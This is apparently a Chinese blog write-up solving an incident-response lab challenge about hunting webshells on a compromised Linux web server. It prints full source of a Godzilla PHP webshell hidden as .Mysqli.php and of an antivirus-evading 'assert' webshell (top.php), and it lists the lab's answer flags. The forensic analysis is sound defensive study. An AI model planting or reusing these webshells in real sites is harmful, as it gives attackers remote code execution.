玄机——第一章 应急响应-webshell排查

发布于:2025-02-17 ⋅ 阅读:(175) ⋅ 点赞:(0)

玄机——第一章 应急响应-webshell排查

简介:

靶机账号密码 root xjwebshell
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
4.黑客免杀马完整路径 md5 flag{md5}

1、黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}

将/var/www/html整个打包下来: tar -czvf html.tar.gz ./

将打包的后的源码放入D盾扫描,得到4个可疑文件:

在这里插入图片描述

逐个分析,最终在gz.php中看到了一行注释:

在这里插入图片描述

因此,flag{027ccd04-5065-48b6-a32d-77c704a5e26d}

2、黑客使用的什么工具的shell github地址的md5 flag{md5}

$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
    $data=encode($data,$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo encode(@run($data),$key);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }

这是一段哥斯拉的webshell,它的项目地址是https://github.com/BeichenDream/Godzilla,转成md5即可:

在这里插入图片描述

因此,flag{39392de3218c333f794befef07ac9257}

3、黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx

让我们找出隐藏shell,我们可以在D盾的扫描结果中发现一个.Mysqli.php 的隐藏文件:

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
    $data=encode($data,$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo encode(@run($data),$key);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

里面依旧是哥斯拉的webshell,从它的key值依旧为3c6e0b8a9c15224a也可以看出。

那么将转为md5即可,文件路径为:/var/www/html/include/Db/.Mysqli.php,转成md5:

在这里插入图片描述

因此,flag{aebac0e58cd6c5fad1695ee4d1ac1919}

4、黑客免杀马完整路径 md5 flag{md5}

让我们找出免杀马,将这几个文件丢入沙箱看看,发现只有top.php没有报毒:

在这里插入图片描述

于是看看top.php的代码逻辑:

<?php

$key = "password";

//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){
    $fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);

这段代码用户通过URL传递两个参数func和func2。

func:经过Base64编码的字符串,解码后会被异或解密。func2:用于动态构造函数名。

通过这两个可控的参数,我们可以构造以下语句:

<?php

error_reporting(0);

$key = "password";

//ERsDHgEUC1hI
$fun = base64_decode('ERsDHgEUC1hI');
for($i=0;$i<strlen($fun);$i++){
    $fun[$i] = $fun[$i]^$key[$i+1&7];
}

$a = "a";
$s = "s";
$c=$a.$s.'sert';
echo $c."(".$fun.")";

在这里插入图片描述

因此,flag就是把该文件路径转成md5值即可:flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}

在这里插入图片描述


网站公告

今日签到

点亮在社区的每一天
去签到